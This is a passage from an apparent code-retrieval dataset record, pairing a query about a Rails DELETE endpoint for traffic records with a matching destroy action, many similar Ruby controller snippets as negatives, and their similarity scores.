@tradeview, notice: 'Tradeview was successfully updated.' }\n format.json { render :show, status: :ok, location: @tradeview }\n else\n format.html { render :edit }\n format.json { render json: @tradeview.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @traffic = Traffic.find(params[:id])\n @traffics = Traffic.find(:all, :conditions => {:ip => @traffic.ip})\n respond_to do |format|\n if @traffic.update_attributes(params[:traffic])\n flash[:notice] = 'Traffic was successfully updated.'\n @traffics.each do |t|\n t.update_attribute(:city, @traffic.city)\n t.update_attribute(:domain, @traffic.domain)\n end\n format.html { redirect_to(traffics_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @traffic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def update\n @trick = Trick.find(params[:id])\n\n respond_to do |format|\n if @trick.update_attributes(params[:trick])\n format.html { redirect_to @trick, notice: 'Trick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trick.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n @ministry = @trip.ministry\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n #flash[:notice] = 'Trip was successfully updated.'\n format.html { redirect_to(@trip) }\n format.xml { head :ok }\n else\n @data_files = DataFile.find(:all, :order => :name)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def update\n @tenure = Tenure.find(params[:id])\n\n respond_to do |format|\n if @tenure.update_attributes(params[:tenure])\n format.html { redirect_to @tenure, notice: 'Tenure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tenure.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @chest_triceps1.update(chest_triceps1_params)\n format.html { redirect_to \"/chest_triceps1s\" } \n format.json { render :show, status: :ok, location: @chest_triceps1 }\n else\n format.html { render :edit }\n format.json { render json: @chest_triceps1.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6066775", "0.6008371", "0.58044595", "0.5791964", "0.5791382", "0.576393", "0.5747545", "0.5742798", "0.57384443", "0.57376885", "0.56860745", "0.568475", "0.56807876", "0.5676008", "0.56714326", "0.5651108", "0.5642152", "0.56300926", "0.5629314", "0.56175107", "0.56163543", "0.56163543", "0.561411", "0.56136656", "0.5597324", "0.5584297", "0.5583609", "0.5581013", "0.5580392", "0.5573279", "0.5572218", "0.5568795", "0.55681795", "0.5557912", "0.55508685", "0.5536709", "0.5536304", "0.5534776", "0.55315864", "0.5519209", "0.5518283", "0.55173856", "0.551138", "0.55084795", "0.55022264", "0.5497541", "0.5472931", "0.54708403", "0.54659534", "0.5465358", "0.5463708", "0.5463456", "0.54632026", "0.54632026", "0.5454212", "0.54540443", "0.54442024", "0.54424167", "0.5439784", "0.54382753", "0.54370165", "0.5436427", "0.54290104", "0.5421705", "0.5421705", "0.5420863", "0.5417991", "0.54149324", "0.5414574", "0.5413606", "0.5409789", "0.5407772", "0.5406958", "0.54063106", "0.5402246", "0.5400121", "0.53979224", "0.53977334", "0.5392886", "0.53925693", "0.539212", "0.5390397", "0.5390178", "0.5389118", "0.53876984", "0.5386363", "0.5380582", "0.53762317", "0.53760976", "0.53759456", "0.53712606", "0.5370327", "0.5369241", "0.5363665", "0.53588873", "0.5356578", "0.53548485", "0.53527385", "0.53509456", "0.5349584", "0.5343504" ]
0.0
-1
DELETE /traffics/1 DELETE /traffics/1.json
def destroy begin @traffic.destroy rescue Exception => e notice = e.message else notice = 'Traffic was successfully destroyed.' end respond_to do |format| format.html { redirect_to traffics_url, notice: notice } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @traffic = Traffic.find(params[:id])\n @traffic.destroy\n\n respond_to do |format|\n format.html { redirect_to traffics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @traffic = Traffic.find(params[:id])\n @traffic.destroy\n\n respond_to do |format|\n format.html { redirect_to(traffics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @traffic.destroy\n respond_to do |format|\n format.html { redirect_to traffics_url, notice: 'Traffic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @tracing.destroy\n respond_to do |format|\n format.html { redirect_to tracings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trail = Trail.find(params[:id])\n @trail.destroy\n\n respond_to do |format|\n format.html { redirect_to trails_url }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @trac.destroy\n respond_to do |format|\n format.html { redirect_to tracs_url, notice: 'Trac was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trail = Trail.find(params[:id])\n @trail.destroy\n\n respond_to do |format|\n format.html { redirect_to trails_url }\n format.json { head :ok }\n end\n end", "def destroy\n @taxi = Taxi.find(params[:id])\n @taxi.destroy\n\n respond_to do |format|\n format.html { redirect_to taxis_url }\n format.json { head :ok }\n end\n end", "def destroy\n @trajectory = Trajectory.find(params[:id])\n @trajectory.destroy\n\n respond_to do |format|\n format.html { redirect_to trajectories_url }\n format.json { head :ok }\n end\n end", "def destroy\n record = TaxRule.find(params[:id])\n record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @tribe.destroy\n respond_to do |format|\n format.html { redirect_to tribes_url }\n format.json { head :no_content }\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @trial.destroy\n respond_to do |format|\n format.html { redirect_to trials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @click_thru = ClickThru.find(params[:id])\n @click_thru.destroy\n\n respond_to do |format|\n format.html { redirect_to click_thrus_url }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @trail.destroy\n respond_to do |format|\n format.html { redirect_to trails_url, notice: 'Trail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tier = Tier.find(params[:id])\n @tier.destroy\n\n respond_to do |format|\n format.html { redirect_to tiers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @therapist = Therapist.find(params[:id])\n @therapist.destroy\n\n respond_to do |format|\n format.html { redirect_to therapists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @taxi.destroy\n respond_to do |format|\n format.html { redirect_to taxis_url, notice: 'Taxi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trainee.destroy\n respond_to do |format|\n format.html { redirect_to trainees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel_chart = Travel::Chart.find(params[:id])\n @travel_chart.destroy\n\n respond_to do |format|\n format.html { redirect_to travel_charts_url }\n format.json { head :no_content }\n end\n end", "def delete\n @trip = Trips.find_trip( params[ :id ])\n end", "def destroy\n travel = Travel.find(params[:id])\n travel.destroy\n head 204\n end", "def destroy\n @train.destroy\n respond_to do |format|\n format.html { redirect_to trains_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trio.destroy\n respond_with(@trio, :location => trios_url)\n end", "def destroy\n @mosttinymobtrail = Mosttinymobtrail.find(params[:id])\n @mosttinymobtrail.destroy\n\n respond_to do |format|\n format.html { redirect_to mosttinymobtrails_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @t = T.find(params[:id])\n @t.destroy\n\n respond_to do |format|\n format.html { redirect_to ts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @atr = Atr.find(params[:id])\n @atr.destroy\n\n respond_to do |format|\n format.html { redirect_to atrs_url }\n format.json { head :no_content }\n end\n end", "def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end", "def destroy\n trip = Trip.find(params[:id])\n trip.destroy\n render json: {message: \"Successfully deleted trip\"}\n end", "def destroy\n @my_time_trial = MyTimeTrial.find(params[:id])\n @my_time_trial.destroy\n\n respond_to do |format|\n format.html { redirect_to my_time_trials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tramite = Tramite.find(params[:id])\n @tramite.destroy\n\n respond_to do |format|\n format.html { redirect_to tramites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tetramod = Tetramod.find(params[:id])\n @tetramod.destroy\n\n respond_to do |format|\n format.html { redirect_to tetramods_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @clinic_timing = ClinicTiming.find(params[:id])\n @clinic_timing.destroy\n\n respond_to do |format|\n format.html { redirect_to clinic_timings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trx_detail = TrxDetail.find(params[:id])\n @trx_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to trx_details_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel_request.destroy\n respond_to do |format|\n format.html { redirect_to @back_path, notice: 'Travel request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tangent.destroy\n respond_to do |format|\n format.html { redirect_to tangents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trap = Trap.find(params[:id])\n @trap.destroy\n\n respond_to do |format|\n format.html { redirect_to traps_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tc_detail_step = TcDetailStep.find(params[:id])\n @tc_detail_step.destroy\n\n respond_to do |format|\n format.html { redirect_to tc_detail_steps_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trafficofficer.destroy\n respond_to do |format|\n format.html { redirect_to trafficofficers_url, notice: 'Trafficofficer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel.destroy\n respond_to do |format|\n format.html { redirect_to travels_url, notice: 'Travel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cta = Cta.find(params[:id])\n @cta.destroy\n\n respond_to do |format|\n format.html { redirect_to ctas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attraction_tour = AttractionTour.find(params[:id])\n @tour = @attraction_tour.tour\n @attraction_tour.destroy\n\n respond_to do |format|\n format.html { redirect_to @tour }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel.destroy\n respond_to do |format|\n format.html { redirect_to travels_url, notice: \"Travel was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to chronicles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tradeview.destroy\n respond_to do |format|\n format.html { redirect_to tradeviews_url, notice: 'Tradeview was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @taxi_sevice.destroy\n respond_to do |format|\n format.html { redirect_to taxi_sevices_url, notice: 'Taxi sevice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trlocalidad = Trlocalidad.find(params[:id])\n @trlocalidad.destroy\n\n respond_to do |format|\n format.html { redirect_to trlocalidads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @therapy_budget.destroy\n respond_to do |format|\n format.html { redirect_to therapy_budgets_url, notice: 'Therapy budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trax.destroy\n respond_to do |format|\n format.html { redirect_to traxes_url, notice: 'Trax was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transport_subsidy = TransportSubsidy.find(params[:id])\n @transport_subsidy.destroy\n\n respond_to do |format|\n format.html { redirect_to transport_subsidies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel_log = TravelLog.find(params[:id])\n @travel_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(travel_logs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @fabric = Fabric.find(params[:id])\n @fabric.destroy\n\n respond_to do |format|\n format.html { redirect_to fabrics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :ok }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :ok }\n end\n end", "def destroy\n @traceroute.destroy\n respond_to do |format|\n format.html { redirect_to traceroutes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @traceroute.destroy\n respond_to do |format|\n format.html { redirect_to traceroutes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trek = Trek.find(params[:id])\n @trek.destroy\n\n respond_to do |format|\n format.html { redirect_to treks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # First delete trip's permissions.\n @trip.permissions.each do |perm|\n perm.destroy\n end\n\n # Then delete the trip itself.\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url, notice: 'Trip was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tarefa = Tarefa.find(params[:id])\n @tarefa.destroy\n\n respond_to do |format|\n format.html { redirect_to tarefas_url }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mosttinytrial = Mosttinytrial.find(params[:id])\n @mosttinytrial.destroy\n\n respond_to do |format|\n format.html { redirect_to mosttinytrials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @technic.destroy\n respond_to do |format|\n format.html { redirect_to technics_url, notice: 'Technic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def destroy\n @medium_trial = MediumTrial.find(params[:id])\n @medium_trial.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_trials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tracer.destroy\n respond_to do |format|\n format.html { redirect_to tracers_url, notice: \"Tracer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @trajet.destroy\n respond_to do |format|\n format.html { redirect_to trajets_url, notice: 'Trajet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @moretinymobtrail = Moretinymobtrail.find(params[:id])\n @moretinymobtrail.destroy\n\n respond_to do |format|\n format.html { redirect_to moretinymobtrails_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @associated_trial.destroy\n respond_to do |format|\n format.html { redirect_to associated_trials_url, notice: 'Associated trial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @technician_status.destroy\n respond_to do |format|\n format.html { redirect_to technician_statuses_url, notice: 'Technician status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trek.destroy\n respond_to do |format|\n format.html { redirect_to treks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @t1 = T1.find(params[:id])\n @t1.destroy\n\n respond_to do |format|\n format.html { redirect_to(t1s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @flight_turbulence.destroy\n respond_to do |format|\n format.html { redirect_to flight_turbulences_url, notice: 'Flight turbulence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel = Travel.find(params[:id])\n @travel.destroy\n\n respond_to do |format|\n format.html { redirect_to(travels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @travel = Travel.find(params[:id])\n @travel.destroy\n\n respond_to do |format|\n format.html { redirect_to(travels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @caloric_intake.destroy\n respond_to do |format|\n format.html { redirect_to caloric_intakes_url, notice: 'Caloric intake was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cta.destroy\n respond_to do |format|\n format.html { redirect_to cta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n\n head :no_content\n end", "def destroy\n @tenacity.destroy\n respond_to do |format|\n format.html { redirect_to tenacities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @trip, :destroy?\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @taxinomy = Taxinomy.find(params[:id])\n @taxinomy.destroy\n\n respond_to do |format|\n format.html { redirect_to taxinomies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @incoming_service_tax\n\n @incoming_service_tax.destroy\n respond_to do |format|\n format.html { redirect_to incoming_service_taxes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel_type = TravelType.find(params[:id])\n @travel_type.destroy\n\n respond_to do |format|\n format.html { redirect_to travel_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @trial = Trial.find(params[:id])\n @trial.destroy\n\n respond_to do |format|\n format.html { redirect_to(trials_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @trial = Trial.find(params[:id])\n @trial.destroy\n\n respond_to do |format|\n format.html { redirect_to(trials_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tottle.destroy\n respond_to do |format|\n format.html { redirect_to tottles_url, notice: 'Tottle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @testcase = Testcase.find(params[:id])\n @testcase.destroy\n\n respond_to do |format|\n format.html { redirect_to testcases_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.70923054", "0.6854811", "0.68487245", "0.6770015", "0.6614432", "0.6535633", "0.6518131", "0.65169156", "0.65118194", "0.64960843", "0.64620495", "0.6443421", "0.6437988", "0.6379921", "0.6364386", "0.63226336", "0.63136744", "0.63088375", "0.63059205", "0.62963855", "0.627462", "0.6272115", "0.6262893", "0.6258804", "0.6247364", "0.623589", "0.62313366", "0.6225979", "0.62238896", "0.62107414", "0.61972815", "0.6191156", "0.618871", "0.6182704", "0.61792445", "0.61777663", "0.61706835", "0.61704", "0.61703676", "0.61691463", "0.6168222", "0.6166907", "0.61599696", "0.615585", "0.61541337", "0.61530095", "0.61496145", "0.6149361", "0.6147455", "0.6147455", "0.6147455", "0.61469835", "0.61457545", "0.61407757", "0.6130707", "0.6129218", "0.6121778", "0.6119885", "0.6106342", "0.61038655", "0.61017954", "0.6100165", "0.6100165", "0.609084", "0.609084", "0.6085102", "0.60843194", "0.60831577", "0.60825807", "0.60796064", "0.6078465", "0.6077416", "0.6076288", "0.60744673", "0.60731554", "0.6067836", "0.6064128", "0.60612196", "0.60612196", "0.60612196", "0.6060572", "0.6057841", "0.6054645", "0.6053693", "0.6043823", "0.6041882", "0.6040643", "0.6040643", "0.60365087", "0.6035603", "0.6033283", "0.6032859", "0.6030757", "0.6028424", "0.602826", "0.60237396", "0.6017019", "0.6017019", "0.60148245", "0.6013233" ]
0.66716623
4
Use callbacks to share common setup or constraints between actions.
def set_traffic @traffic = Traffic.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, 